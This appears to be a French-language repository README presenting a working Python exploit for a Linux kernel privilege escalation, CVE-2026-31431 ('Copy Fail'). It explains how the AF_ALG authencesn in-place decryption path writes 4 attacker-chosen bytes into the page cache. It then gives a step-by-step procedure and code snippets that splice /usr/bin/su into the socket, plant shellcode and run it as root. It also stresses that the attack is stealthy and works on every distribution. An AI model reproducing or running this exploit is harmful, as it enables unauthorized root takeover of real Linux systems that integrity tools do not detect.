
Exploit Python pour CVE-2026-31431, une élévation de privilèges dans le noyau Linux via la corruption du cache de pages des binaires setuid, permettant d'obtenir un accès root.
Copy Fail (CVE-2026-31431) est un bug logique critique dans le sous-système cryptographique du noyau Linux qui permet à des utilisateurs non privilégiés d'obtenir une élévation de privilèges jusqu'à root. La vulnérabilité affecte les noyaux Linux 6.0.0 à 6.18.x sur toutes les principales distributions.
Ce dépôt contient l'exploit réel qui déclenche la vulnérabilité en corrompant le cache de pages des binaires setuid et en exécutant du code arbitraire avec les privilèges root.
Copy Fail est un bug logique qui permet à des utilisateurs non privilégiés d'écrire des blocs arbitraires de 4 octets directement dans le cache de pages du noyau de tout fichier lisible sur le système, y compris les binaires setuid.
Caractéristiques clés :
La vulnérabilité provient d'une optimisation de 2017 dans algif_aead.c (commit 72548b093ee3) qui a modifié les opérations AEAD de hors place à en place :
Avant (sûr - 2015) :
Scatterlist TX (entrée) ← tampon TX (données utilisateur du fichier)
Scatterlist RX (sortie) ← tampon RX (zone de sortie de l'utilisateur)
Scatterlists séparés = les pages du cache de pages sont en lecture seule
Après (vulnérable - 2017) :
Scatterlist combiné :
[ tampon RX ] [ pages du cache de pages chaînées via sg_chain() ]
↑ ↑
req->src = src req->dst = dst (MÊME scatterlist)
Les pages du cache de pages sont désormais dans un scatterlist INSCRIPTIBLE !
Le scatterlist combiné ressemble à :
[AAD + texte chiffré du tampon RX] || [Tag du cache de pages de /usr/bin/su]
↑
Frontière
(authencesn écrit AU-DELÀ de ce point)
L'algorithme authencesn est un wrapper AEAD utilisé par IPsec pour les numéros de séquence étendus (ESN). Il effectue un calcul HMAC mais doit réorganiser les octets dans l'AAD (données authentifiées associées).
Dans le code du noyau (crypto/authenc.c), pendant le déchiffrement :
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // lit les octets AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporaire : écrase dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← LIGNE CLÉ
// écrit 4 octets à dst[assoclen+cryptlen]
Le problème : La troisième écriture se produit à l'offset assoclen + cryptlen. Dans le chemin en place vulnérable :
Le noyau traite cette position comme un « espace de brouillon jetable » et y écrit la valeur de manière permanente. Les octets d'origine à cette position dans le cache de pages sont perdus à jamais.
1. L'attaquant ouvre un socket AF_ALG → le lie à authencesn(hmac(sha256),cbc(aes))
(Aucun privilège nécessaire ; AF_ALG est disponible pour les utilisateurs non privilégiés par défaut)
2. L'attaquant ouvre le fichier cible : /usr/bin/su (binaire setuid-root)
3. L'attaquant utilise splice() pour délivrer les pages du cache de pages de /usr/bin/su
dans le socket AF_ALG comme « texte chiffré » et « tag »
4. L'attaquant envoie sendmsg() avec un AAD contenant :
- Octets 0-3 : bourrage
- Octets 4-7 : seqno_lo = valeur de 4 octets à écrire (contrôlée par l'attaquant)
- Octets 8+ : bourrage
5. L'attaquant appelle recvmsg() qui déclenche l'opération de déchiffrement AEAD
Dans le déchiffrement d'authencesn dans l'espace noyau :
a) Le noyau lit les octets AAD 0-7
b) Le noyau écrit seqno_hi à dst[4..7] (temporaire, puis restauré)
c) Le noyau écrit seqno_lo à dst[assoclen + cryptlen]
↓
CETTE ÉCRITURE PASSE DU TAMPON UTILISATEUR AUX PAGES DU CACHE DE PAGES
↓
L'écriture de 4 octets dans le cache de pages de /usr/bin/su se produit ICI
d) Le noyau calcule le HMAC (échec de validation - le texte chiffré est fabriqué)
e) recvmsg() renvoie une erreur
MAIS : L'écriture de 4 octets PERSISTE DÉJÀ dans le cache de pages
6. L'attaquant répète les étapes 2-5 pour chaque bloc de 4 octets du shellcode
7. L'attaquant exécute /usr/bin/su
- Le noyau charge le binaire depuis le CACHE DE PAGES (qui contient désormais le shellcode)
- Le binaire est setuid-root
- Le shellcode s'exécute avec UID=0
- L'attaquant a un accès root
| Aspect | Explication |
|---|---|
| Aucun crash | L'opération se termine du point de vue du noyau |
| Déterministe | Aucune condition de course ; synchrone et fiable |
| Persistant | La corruption du cache de pages survit même après l'erreur de recvmsg() |
| Invisible | Le fichier sur disque est intact ; les outils d'intégrité standard ne détectent rien |
| Universel | Le même code fonctionne sur toutes les distributions ; aucun offset par distribution nécessaire |
| Portable | Fonctionne sur les architectures x86-64 et ARM64 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Socket de requête pour les opérations AEAD
Créez un socket AF_ALG lié au modèle AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Ouvrez le binaire setuid qui sera corrompu. Tout fichier lisible fonctionne, mais les binaires setuid sont choisis pour l'élévation de privilèges.
pipe_rd, pipe_wr = os.pipe()
Créez un tube qui servira d'intermédiaire pour les opérations splice(). Les tampons du tube contiendront des références aux pages du cache de pages.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Utilisez splice() pour transférer cryptlen octets de /usr/bin/su à partir de write_offset vers le tube.
Pourquoi c'est important : splice() transfère des données entre descripteurs de fichiers sans copie. Il transmet des références directes aux pages du cache de pages du noyau. Ces pages restent dans la structure de tampon interne du tube.
assoclen = 8 # Longueur AAD : octets 0-7
cryptlen = 32 # Longueur du texte chiffré (== sortie HMAC-SHA256)
authsize = 32 # Longueur du tag
write_offset = 0x2000 # Offset dans /usr/bin/su où écrire
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
L'AAD (données authentifiées associées) contient :
L'algorithme authencesn utilisera les octets 4-7 de cet AAD dans son écriture de brouillon.
req_sock.sendmsg([aad], [], socket.MSG_MORE)